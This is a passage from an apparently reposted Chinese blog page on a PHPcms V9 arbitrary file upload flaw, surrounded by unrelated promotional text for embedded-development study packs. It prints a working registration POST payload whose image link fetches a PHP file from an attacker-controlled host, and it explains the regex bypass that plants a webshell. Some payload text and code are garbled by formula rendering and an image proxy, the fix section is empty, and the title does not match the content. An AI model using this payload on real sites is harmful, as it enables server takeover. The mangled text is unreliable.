2024年物联网嵌入式最全PHPcms V9 任意文件上传漏洞_phpcmsv9漏洞(2),啃完999页物联网嵌入式开发面试高频宝典

img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上物联网嵌入式知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、电子书籍、讲解视频,并且后续会持续更新

如果你需要这些资料,可以戳这里获取

http://127.0.0.1/index.php?m=member&c=index&a=register&siteid=
POST:
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.2/bx/php.txt?.php#.jpg>&dosubmit=1&protocol=

其实最主要的问题就出现在Download函数上


/**
 * 附件下载
 * Enter description here ...
 * @param $field 预留字段
 * @param $value 传入下载内容
 * @param $watermark 是否加入水印
 * @param $ext 下载扩展名
 * @param $absurl 绝对路径
 * @param $basehref 
 */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);
 
        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}

这里匹配了srchref中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png,由于匹配的不严格,导致可以绕过

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

随后在这一行带入了函数fillurl

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

fillurl中去掉了#后的内容:

$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

最后就构造出下载php的链接

四丶漏洞复现

打开注册页面

填入信息 ,抓取数据包

将POST包修改为以下内容

siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=http%3A%2F%2F127.0.0.1%2Fphp.txt%3F.php%23.jpg&pos_id=img-bDowBhXW-1715650812021)>&dosubmit=1&protocol=

原理就是匹配了src或href中文件的文件名,不过后缀为 e x t ,其中 ext,其中 ext,其中ext的值为:gif|jpg|jpeg|bmp|png,这个是可以绕过,https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=http%3A%2F%2F127.0.0.1%2Fphp.txt%3F.php%23.jpg&pos_id=img-bDowBhXW-1715650812021),然后在fillurl``函数中给我们去掉了#后的内容:

p o s = s t r p o s ( pos = strpos( pos=strpos(surl,‘#’);

if($pos>0) s u r l = s u b s t r ( surl = substr( surl=substr(surl,0,$pos);

导致下载我们服务器上的txt到服务器上生成webshell

五丶漏洞修复

收集整理了一份《2024年最新物联网嵌入式全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升的朋友。
img
img

如果你需要这些资料,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人

都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

,可以戳这里获取](https://bbs.csdn.net/topics/618679757)**

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人

都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值